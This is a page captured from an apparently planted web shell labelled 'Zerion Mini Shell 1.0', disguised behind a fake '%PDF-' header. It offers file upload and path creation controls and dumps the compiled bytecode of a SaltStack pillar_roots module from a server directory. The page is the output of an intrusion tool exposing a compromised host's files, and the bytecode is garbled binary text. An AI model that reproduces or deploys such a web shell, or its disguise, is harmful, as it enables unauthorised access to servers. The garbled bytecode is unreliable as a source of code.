%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/wheel/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
dd�Zdd�Zd�Z
dd	�Zddd
�ZdS(ur
The `pillar_roots` wheel module is used to manage files under the pillar roots
directories on the master server.
i(tabsolute_importtprint_functiontunicode_literalsN(tsixubasec	C@s�g}|tdkr|Sx�td|D]�}tjj||�}tjj|�r)tjjj|d��G}tjjj	|�r�|j
id|6�n|j
id|6�WdQXq)q)W|S(uP
    Return a dict of the files located with the given path and environment
    upillar_rootsurbutxtubinN(t__opts__tostpathtjointisfiletsalttutilstfilestfopentis_texttappend(Rtsaltenvtrettroottfulltfp_((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pytfinds!c
C@s9i}|tdkr|Sxtd|D]}i||<x�tjjj|�D]�\}}}||}||kr�|}g}xVtjj||�s�tjj|�}	|	r�|jd|	�ntjj	|�}q�Wx|D]}
||
}q�Wnx|D]}i||<q�Wx|D]}d||<qWqOWq)W|S(u>
    Return all of the file paths found in an environment
    upillar_rootsiuf(
RR	R
Rtos_walkRtsamefiletbasenametinserttdirname(
RRtf_rootRtdirsRtsubtsroottabovetbasetaroottdir_tfn_((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pytlist_env's,
%



cC@s@i}x3tdD]'}g||<||jt|��qW|S(uE
    Return all of the files names in all available environments
    upillar_roots(RRR#(RR((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pyt
list_rootsEs

c	C@s�g}t||�}x�|D]~}ttj|��}||}|dkrtjjj|d��0}|jitjj	j
|j��|6�WdQXqqW|S(uF
    Read the contents of a text file, if the file is binary then
    utxturbN(RtnextRtiterkeysR	R
RRRtstringutilst
to_unicodetread(RRRRR"RtformR((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pyR)Ps

0cC@s|tdkrdj|�Sttd|�|krGdj||�Stjj|�ridj||�Stjjtd|||�}tjj|�}tjj|�s�tj	|�nt
jjj
|d��#}|jt
jjj|��WdQXdj|�S(u�
    Write the named file, by default the first file found is written, but the
    index of the file can be specified to write to a lower priority file root
    upillar_rootsu$Named environment {0} is not presentu5Specified index {0} in environment {1} is not presentu=The path passed in {0} is not relative to the environment {1}uw+NuWrote data to file {0}(RtformattlenRRtisabsRRtisdirtmakedirsR	R
RRtwriteR'tto_str(tdataRRtindextdesttdest_dirR((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pyR0bs


!"(t__doc__t
__future__RRRRtsalt.utils.filesR	tsalt.utils.pathtsalt.extRRR#R$R)R0(((s;/usr/lib/python2.7/site-packages/salt/wheel/pillar_roots.pyt<module>s	

Zerion Mini Shell 1.0